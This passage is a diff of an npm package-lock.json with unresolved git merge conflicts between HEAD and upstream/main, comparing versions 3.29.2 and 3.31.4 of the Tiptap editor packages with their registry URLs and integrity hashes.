upstream/main "dev": true, "license": "MIT", "engines": { @@ -4726,15 +5799,30 @@ } }, "node_modules/@tiptap/core": { +<<<<<<< HEAD + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/core/-/core-3.29.2.tgz", + "integrity": "sha512-oKUkiPUB7noilVYxI9lNzUD4rX17sHub+PYjMfHMWHG9A3nvIy+FdePIVIIhThKWF7ijhr3eIqHY51Bn+GAFtw==", +======= "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/core/-/core-3.31.4.tgz", "integrity": "sha512-cIVUQYBycighzsk6GbmCef8ZiEDVxoT5EuAe4xg2q9dNkDqCXVqI4YGr9aavCQEiAS4uHiRwqvcsPqJHipFDfg==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-blockquote": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-blockquote/-/extension-blockquote-3.29.2.tgz", + "integrity": "sha512-ca4OzKDh0yaxg2+Z56bC2QnWsNsFp2YMRfVig1PDXyMVFMNJpLcnhxgq/9btn+xYAlYrj8RymOeCTYREOR6Zjg==", +======= "@tiptap/pm": "3.31.4" } }, @@ -4742,12 +5830,23 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-blockquote/-/extension-blockquote-3.31.4.tgz", "integrity": "sha512-FHnbvCIW0eDKgUUFjmvEB0ax9YUBW7/Unm+38qpuQROvU872yRqhnDtycKT9IKk46jNdjM4A4fAGUbge10CrAA==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-bold": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-bold/-/extension-bold-3.29.2.tgz", + "integrity": "sha512-elYbGxJsYnBb4leqrcjdIJuiG380BcOgN+UUzvOv+qEjfGVzHodFOMBl3qnmD6urYHNu5/qQK2S0qSSRXKCLNQ==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4756,12 +5855,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-bold/-/extension-bold-3.31.4.tgz", "integrity": "sha512-QX1xoXvO0gz6uVsoLegumqQ4MJXL7lcUDQZ4J7la7LBqiIh4efrCmp2EXbhpr37M/YQL7w8q3g7H/VovSh7xIg==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-bubble-menu": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-bubble-menu/-/extension-bubble-menu-3.29.2.tgz", + "integrity": "sha512-kzcWarcpr031rZu+R3Hzut5uxb3Qj/xxMDEYZIQ3uiq1yb5vEMXj8/SIyWautk6Nu8Rr1leV3rGdR4NzhzyFAA==", +======= "@tiptap/core": "3.31.4" } }, @@ -4769,6 +5878,7 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-bubble-menu/-/extension-bubble-menu-3.31.4.tgz", "integrity": "sha512-Ml/yswuys+3QkOMajfXyAGlUKCxEbT3dMyF8vHwQ5mDk9MDm+dqp10It5CrDBkUT/KkVTa6AJI3kb0TXZJZiAA==", +>>>>>>> upstream/main "license": "MIT", "optional": true, "dependencies": { @@ -4779,6 +5889,16 @@ "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-bullet-list": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-bullet-list/-/extension-bullet-list-3.29.2.tgz", + "integrity": "sha512-3bWcCUPbCHv0XttlMdnAtXLNYWx2pblByMgxmGsaP9FU0QnslGXty6A6gHCqI33ygRg1vrA6U5Wtpwbi5aKu5g==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4787,12 +5907,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-bullet-list/-/extension-bullet-list-3.31.4.tgz", "integrity": "sha512-gHn1RDR4olCnmKpH+G9x+f8R+iKPNVdLlvbFkIpR/stjabZi7fB4Rr5GiHWsulbtxAjdQrNjnVeNdGM4rBxApw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/extension-list": "3.29.2" + } + }, + "node_modules/@tiptap/extension-code": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-code/-/extension-code-3.29.2.tgz", + "integrity": "sha512-c6W5UGuB7WNLpYocsgRzpO2OOTI4QjaI9jjHRMuty9z+s9DtaYM/HrRLNwVh6MopkHb+i/89Wkv8gCS34fftig==", +======= "@tiptap/extension-list": "3.31.4" } }, @@ -4800,12 +5930,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-code/-/extension-code-3.31.4.tgz", "integrity": "sha512-pzi8GNDs5J1DEoO1HNYiJ5WZpgOZzlc/2VIa77mMpEuD4hZxuK0BQzlF/O6Ps/O5P1lGJT4xS0Yowpzb9mD9RA==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-code-block": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-code-block/-/extension-code-block-3.29.2.tgz", + "integrity": "sha512-w153ct8g6dLiPTdXQ6SOIMxX4SEo5Q50AmjdEEEcJ7ZcYUcde/ScSskLHfOYmyt5ZFAiyEwr121+pux+p3/oAQ==", +======= "@tiptap/core": "3.31.4" } }, @@ -4813,12 +5953,23 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-code-block/-/extension-code-block-3.31.4.tgz", "integrity": "sha512-su/B/cfQ1HpiHl6JfJ6wa+RVEptiYsV4dCntE8XQNj2dUcII4y6w6PQbbswOoDrU79uXHsAvpy44215rghG4LA==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-document": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-document/-/extension-document-3.29.2.tgz", + "integrity": "sha512-YUamvefLnsqu6124GavVTI7nqcFlQJ12ROB0oSwG69eSBZYNjg1tIs05LFrBxkwf4Xgqd6YzfJ9+FeG428RvzQ==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4827,12 +5978,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-document/-/extension-document-3.31.4.tgz", "integrity": "sha512-vT20u62RWR+BLIyNJ54e24MPUY4zm8VF7tcgJnxQXi7BgVJWcNMtMWWDIkPJ4JNXwfoIznKh3jzYsaYmbCJgQQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-dropcursor": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-dropcursor/-/extension-dropcursor-3.29.2.tgz", + "integrity": "sha512-KKno7cU9r1HdR48CRrsDu69/1UjZdoslq/UcE+Kx+tdhAv/aljXMkRSNzGMrBNOBDmHRgS1+58zm21WQWdQzwA==", +======= "@tiptap/core": "3.31.4" } }, @@ -4840,12 +6001,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-dropcursor/-/extension-dropcursor-3.31.4.tgz", "integrity": "sha512-5TbCPCC4RL+QT1NYHjXCYDBHBtVqYOFvFEnk3v98lvXCM2PNL13ofXUfJPuykAVy1OdTAx4DlZOQAD9WKy/IdQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/extensions": "3.29.2" + } + }, + "node_modules/@tiptap/extension-floating-menu": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-floating-menu/-/extension-floating-menu-3.29.2.tgz", + "integrity": "sha512-CBTq4Xs5aGWr65uFCIkKBms796OhmirWf/ax//iJ4fl9IfwqjwFuc2vQs9PmuwpKn9ctDHo2sMTtvyeCvIt5LQ==", +======= "@tiptap/extensions": "3.31.4" } }, @@ -4853,6 +6024,7 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-floating-menu/-/extension-floating-menu-3.31.4.tgz", "integrity": "sha512-pKzulkDmolpVt7IP9FSPsC5pKbXQ5pyeqkaAYr8cyOVW+KUObpPRIzAuXvEso8PCjWgwJ1f2qyishOEMw8MbfQ==", +>>>>>>> upstream/main "license": "MIT", "optional": true, "funding": { @@ -4861,6 +6033,16 @@ }, "peerDependencies": { "@floating-ui/dom": "^1.0.0", +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-gapcursor": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-gapcursor/-/extension-gapcursor-3.29.2.tgz", + "integrity": "sha512-8Q39UR4/Tit759IeW9xZIe3NMwN11GsuA3FLheDyyGn7RrW02HD3HhUDlazE54Ki4HoosjFmChPlN4Ik2ubdRQ==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4869,12 +6051,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-gapcursor/-/extension-gapcursor-3.31.4.tgz", "integrity": "sha512-hBogUAepQH6IQUhaePhPWzQ1Oeu+yqlJVMKO06Eue5m36uRy1PZZAQ780pCGT0SC4R5MH2td1N8EUQ7bupQdDA==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/extensions": "3.29.2" + } + }, + "node_modules/@tiptap/extension-hard-break": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-hard-break/-/extension-hard-break-3.29.2.tgz", + "integrity": "sha512-eUW3LN3fq8rXnjEUeI3D2QONYdLsU3yYQm4jxlErs2h4cfwrFjgf19VSUFVmm6LrFbbQ0OnDVPeVLL6iOwDw2w==", +======= "@tiptap/extensions": "3.31.4" } }, @@ -4882,12 +6074,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-hard-break/-/extension-hard-break-3.31.4.tgz", "integrity": "sha512-oLNajLyUvRMg1qtzFgKGduygTlpaHFB9PU+M+pUWdA4sa1bRnxS2Y++Ao4lHYopJ7nxatLndrYoCIHkotqkPDQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-heading": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-heading/-/extension-heading-3.29.2.tgz", + "integrity": "sha512-6W4aIy70Mh7BNlbG9zZ5FBLhJhU2UUEzgZJ/jwYSCcB30o8McLxJSEjhtoHiX8R78Ah2/JzBGvIe5olZlbeE4A==", +======= "@tiptap/core": "3.31.4" } }, @@ -4895,12 +6097,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-heading/-/extension-heading-3.31.4.tgz", "integrity": "sha512-KqlSeLathpdxCc3kVHBCA/RkHvb+V7u5vgiSEu1Cv3L70r7F19COMGODav/k1AGYBgEXKL6lM9cy8cloE5/28g==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-horizontal-rule": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-3.29.2.tgz", + "integrity": "sha512-8/ZPzbB9X85Mc9/7xVLZupQKBr2UVcQTGr512xtqMW+XkCQRHCph46tRo828YE13IMWI5fWn/FaNCqXG9cULSw==", +======= "@tiptap/core": "3.31.4" } }, @@ -4908,12 +6120,23 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-3.31.4.tgz", "integrity": "sha512-ws0Kh8kfHL7ESILSXj0HJAXs8G10ewlW1sedXKm8dm0op9L8il+xl8bEJVoqG/jMf77900Fc2CaQldcCGRpF1g==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-italic": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-italic/-/extension-italic-3.29.2.tgz", + "integrity": "sha512-iH63V/5wsaMnY4Jz0+meaAGhaec4AiOzOduzl6ZZr5IyGhZ1kthyW84ELt0dyLI3hNceAUhaNWc+I7+vX0aoXA==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4922,12 +6145,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-italic/-/extension-italic-3.31.4.tgz", "integrity": "sha512-pftTQBPYZocNDAj/u6OyDIp7YxmN0+N895cQPogJQ6qMHdLiRhzgawiEewJkniyN1w8k3Wx/Etp8pTKrxaOOBQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-link": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-link/-/extension-link-3.29.2.tgz", + "integrity": "sha512-DcVer5SqrexKCEP6Ip1UPxJUMvcRCCItSv0wxoGytanrimBh2smvcg6X0DWnjlsi5H0updhyl+atYCmmQXUIXA==", +======= "@tiptap/core": "3.31.4" } }, @@ -4935,6 +6168,7 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-link/-/extension-link-3.31.4.tgz", "integrity": "sha512-LLxW3qfeL9gvDdMPVdxYFYZ0zZSjsoIDhOqjJ5U2UfaK3U2iwkKTBgV2qT+FWf3uUHmBRjBZ08q3dRPmWBAD5g==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "linkifyjs": "^4.3.3" @@ -4944,6 +6178,16 @@ "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-list": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-list/-/extension-list-3.29.2.tgz", + "integrity": "sha512-WPZ9BHAPT6QeIm1vdVkuoOWvy9a8/EZeJwV2VhU8LXyTAttvzyj4rsbbHyJWvYWlUSTt/QF2AZ2zhKo7u1w3/A==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4952,12 +6196,23 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-list/-/extension-list-3.31.4.tgz", "integrity": "sha512-Wd4YRYxOdf+TtF33/QsRo1RK1CecVxjYGjUBIKNGHAywfh8tghgV4YOUCiV1iJqYt2IBs+RWlIqTmdIPzBrd4A==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/extension-list-item": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-list-item/-/extension-list-item-3.29.2.tgz", + "integrity": "sha512-s8vBVHHFT0Qpu7CzAZ7S1kYmSiVaDvUNvMNcZUWnxj6VPfiwmx0eXd9FsjePrRCMoM5tFmPnhFTHDxY3D/eZeQ==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -4966,12 +6221,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-list-item/-/extension-list-item-3.31.4.tgz", "integrity": "sha512-ao8XAPvhOrtGFILs+fKtOM91omDSpUC8X19m44gbaq5xJDVpIMZ0rP+NAVUS72G7LskhcHa0bu/Pm022bUVjVw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/extension-list": "3.29.2" + } + }, + "node_modules/@tiptap/extension-list-keymap": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-list-keymap/-/extension-list-keymap-3.29.2.tgz", + "integrity": "sha512-R+3k8OLnxdCH7Xy9ieOwUt5m2Je74u8mikothGmsYVO2Zyq48fIbmZ+X6RBPCu7DBOI2FIUhHEFbKQeDWvDNmA==", +======= "@tiptap/extension-list": "3.31.4" } }, @@ -4979,12 +6244,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-list-keymap/-/extension-list-keymap-3.31.4.tgz", "integrity": "sha512-etdkl/YnYfwtALDxecJ+4WYgJAez1fn1vzzZqJklZBpgqiZtny3NxpvWS7/JhsltNG84Wo/oovpfJgVmzhddrw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/extension-list": "3.29.2" + } + }, + "node_modules/@tiptap/extension-ordered-list": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-ordered-list/-/extension-ordered-list-3.29.2.tgz", + "integrity": "sha512-ndCunC+UsYOpkOtL7vGnDz21UNa45WUlcO9wMT1fbuYow2QnRhsuMlCWENXI52YPPARWuQ0RDgN7q6TaxPERBg==", +======= "@tiptap/extension-list": "3.31.4" } }, @@ -4992,12 +6267,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-ordered-list/-/extension-ordered-list-3.31.4.tgz", "integrity": "sha512-UNWyF+Dhm08znszIMnT8Y2kJ1lvtiCvUGs1aG7m9cPHxDa7VycWnOqdtXWkc+6xRLNiC0zgWCFWgLLHduV8pRQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/extension-list": "3.29.2" + } + }, + "node_modules/@tiptap/extension-paragraph": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-paragraph/-/extension-paragraph-3.29.2.tgz", + "integrity": "sha512-7qJj5YTr11vvjNgjDN1ypOfwTovc0QOCYcit/rskeuVgnmQZOZQzC/BbyKLLG7UGnpRLemU/mEGbW9pAqjAXkQ==", +======= "@tiptap/extension-list": "3.31.4" } }, @@ -5005,12 +6290,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-paragraph/-/extension-paragraph-3.31.4.tgz", "integrity": "sha512-WZlBgw+XVKXerRlmEsoQ7x1PwSU+dh3X+b70+ViZsLebdfsmmYBIaNDrvIGwG9UQr5eLnddJnZplMSTI2YKs+g==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-strike": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-strike/-/extension-strike-3.29.2.tgz", + "integrity": "sha512-aEvLAbddUQZ+FukCreV3q4G2HfNI+odE7E9U+wbq6XsSWKyo8/pDu1muz+TFKNre4blSMOQ3JQmw5UeHDKy+fg==", +======= "@tiptap/core": "3.31.4" } }, @@ -5018,12 +6313,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-strike/-/extension-strike-3.31.4.tgz", "integrity": "sha512-4MBr63TJIMqxCjE+gAPdlY1IdELgvbAP516K3Ntn/BkcpEbEoPMEYVz+XTxULyHQEuARDO6jsXPPxRXpA74jaw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-text": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-text/-/extension-text-3.29.2.tgz", + "integrity": "sha512-Ubko45JWWHe8glBt2PiGNF8hcbys/JNalFhiR7Y1X4iOOtAxAKJJxh3+eq+//NTlGuBPdWGp7zw8EEUp7anjKA==", +======= "@tiptap/core": "3.31.4" } }, @@ -5031,12 +6336,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-text/-/extension-text-3.31.4.tgz", "integrity": "sha512-WL2ZRpFksgQcXJN05/UQH09YCH9LlhdLrSEcviASvEH/aAfsKiJlDrouN8PET+YAWK/F5xFc5/Q1z0xj+I23jw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extension-underline": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extension-underline/-/extension-underline-3.29.2.tgz", + "integrity": "sha512-K7XwH/xS/5AIREWQ00VTEf/W5U0olp7j6wwit7cdd/8nHv6h6AGr1+iEApHKoLXWQZLfGQKzJlT9W61LAl+fHA==", +======= "@tiptap/core": "3.31.4" } }, @@ -5044,12 +6359,22 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extension-underline/-/extension-underline-3.31.4.tgz", "integrity": "sha512-0iFGPIqmqGkCrOFh1OPo7Dzv5s86dVN3bZaugsz0jK04otkb8bn04ZDKP2/6Wq+lcK0M9DfJ0QqfW5hC2nBZxQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2" + } + }, + "node_modules/@tiptap/extensions": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/extensions/-/extensions-3.29.2.tgz", + "integrity": "sha512-BCz+FCAChSYtUe4BFj97HEO+nSK+J7GxbJgZG4Hg7DT/gI+hRyeNndU8efiQAx3WGdzsFi3UxRpcF1tTQM7iMQ==", +======= "@tiptap/core": "3.31.4" } }, @@ -5057,12 +6382,23 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/extensions/-/extensions-3.31.4.tgz", "integrity": "sha512-nIupIne/sHpV2Kw1M4MOmr4+G454KI8BXM5+LWKOU2EpzfALZWVSy7koF9lVRna4Zp5Gv8hfg5Z8kvmrYQvhkw==", +>>>>>>> upstream/main "license": "MIT", "funding": { "type": "github", "url": "https://github.com/sponsors/ueberdosis" }, "peerDependencies": { +<<<<<<< HEAD + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2" + } + }, + "node_modules/@tiptap/pm": { + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/pm/-/pm-3.29.2.tgz", + "integrity": "sha512-GCOme7xHaS+DSoaA4CDcAD3l6JyBlvZhvCyfsy2Vp6j8tEoBkZWio7soYVosmlyn7zq8/64VeFZP5s47yfG7fQ==", +======= "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4" } @@ -5071,6 +6407,7 @@ "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/pm/-/pm-3.31.4.tgz", "integrity": "sha512-x7dwth79cQp4QGae66/RJqMDJQv0+n7b7dD7cyFQBWqzPFLJxN/4paHY4qbWedZjNLhRyIOAD9a5q4AYM1zmPA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "prosemirror-changeset": "^2.4.1", @@ -5085,7 +6422,11 @@ "prosemirror-state": "^1.4.4", "prosemirror-tables": "^1.8.5", "prosemirror-transform": "^1.12.0", +<<<<<<< HEAD + "prosemirror-view": "^1.41.9" +======= "prosemirror-view": "^1.42.3" +>>>>>>> upstream/main }, "funding": { "type": "github", @@ -5093,9 +6434,15 @@ } }, "node_modules/@tiptap/react": { +<<<<<<< HEAD + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/react/-/react-3.29.2.tgz", + "integrity": "sha512-ZMKgteYmZXnq7C22U9fbCTC6jAF8XlQM5n2K2FLWCdYAlP4FNV3XeQ9hY2a13KSQ0Q3yltWXZlcWBpt5ClxScg==", +======= "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/react/-/react-3.31.4.tgz", "integrity": "sha512-mBvvXgdPhMinT1NPfwHvFK1dFdMXHVWMSeNn0IPj7/zV0XBmOnASkEOwoIvl8NluKYEtpZBE1yA+6pN2enLa5g==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/use-sync-external-store": "^0.0.6", @@ -5107,12 +6454,21 @@ "url": "https://github.com/sponsors/ueberdosis" }, "optionalDependencies": { +<<<<<<< HEAD + "@tiptap/extension-bubble-menu": "^3.29.2", + "@tiptap/extension-floating-menu": "^3.29.2" + }, + "peerDependencies": { + "@tiptap/core": "3.29.2", + "@tiptap/pm": "3.29.2", +======= "@tiptap/extension-bubble-menu": "3.31.4", "@tiptap/extension-floating-menu": "3.31.4" }, "peerDependencies": { "@tiptap/core": "3.31.4", "@tiptap/pm": "3.31.4", +>>>>>>> upstream/main "@types/react": "^17.0.0 || ^18.0.0 || ^19.0.0", "@types/react-dom": "^17.0.0 || ^18.0.0 || ^19.0.0", "react": "^17.0.0 || ^18.0.0 || ^19.0.0", @@ -5120,6 +6476,37 @@ } }, "node_modules/@tiptap/starter-kit": { +<<<<<<< HEAD + "version": "3.29.2", + "resolved": "https://registry.npmjs.org/@tiptap/starter-kit/-/starter-kit-3.29.2.tgz", + "integrity": "sha512-oTu0tysiqk4zgjEtxRHjAQgxUKaAevZwueOWwSWubHdokqp7SpcbE5n9USJv89HKuTUDm3GjnQH6q8HNn/2DsA==", + "license": "MIT", + "dependencies": { + "@tiptap/core": "^3.29.2", + "@tiptap/extension-blockquote": "^3.29.2", + "@tiptap/extension-bold": "^3.29.2", + "@tiptap/extension-bullet-list": "^3.29.2", + "@tiptap/extension-code": "^3.29.2", + "@tiptap/extension-code-block": "^3.29.2", + "@tiptap/extension-document": "^3.29.2", + "@tiptap/extension-dropcursor": "^3.29.2", + "@tiptap/extension-gapcursor": "^3.29.2", + "@tiptap/extension-hard-break": "^3.29.2", + "@tiptap/extension-heading": "^3.29.2", + "@tiptap/extension-horizontal-rule": "^3.29.2", + "@tiptap/extension-italic": "^3.29.2", + "@tiptap/extension-link": "^3.29.2", + "@tiptap/extension-list": "^3.29.2", + "@tiptap/extension-list-item": "^3.29.2", + "@tiptap/extension-list-keymap": "^3.29.2", + "@tiptap/extension-ordered-list": "^3.29.2", + "@tiptap/extension-paragraph": "^3.29.2", + "@tiptap/extension-strike": "^3.29.2", + "@tiptap/extension-text": "^3.29.2", + "@tiptap/extension-underline": "^3.29.2", + "@tiptap/extensions": "^3.29.2", + "@tiptap/pm": "^3.29.2" +======= "version": "3.31.4", "resolved": "https://registry.npmjs.org/@tiptap/starter-kit/-/starter-kit-3.31.4.tgz", "integrity": "sha512-u7HIJ9vK6kFe4S4J2CIcDLrhRZzoTMSyU0XxjQ6lUNF7pWW3rMi//pvi8RcsZmxGjyb8CpXAqYgNl7f9WyaUeA==", @@ -5149,6 +6536,7 @@ "@tiptap/extension-underline": "3.31.4", "@tiptap/extensions": "3.31.4", "@tiptap/pm": "3.31.4" +>>>>>>> upstream/main }, "funding": { "type": "github", @@ -5156,9 +6544,15 @@ } }, "node_modules/@tybys/wasm-util": { +<<<<<<< HEAD + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", +======= "version": "0.10.4", "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.4.tgz", "integrity": "sha512-W3c4gRigFS0T/Ma4qIYF3GDAc5AQdHb1yL5znJT1Zv1YaD9Kitx656wBjvr19qbiosmZT8lWDM5BEMynUqX65A==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "optional": true, @@ -5233,9 +6627,15 @@ } }, "node_modules/@types/d3-shape": { +<<<<<<< HEAD + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": 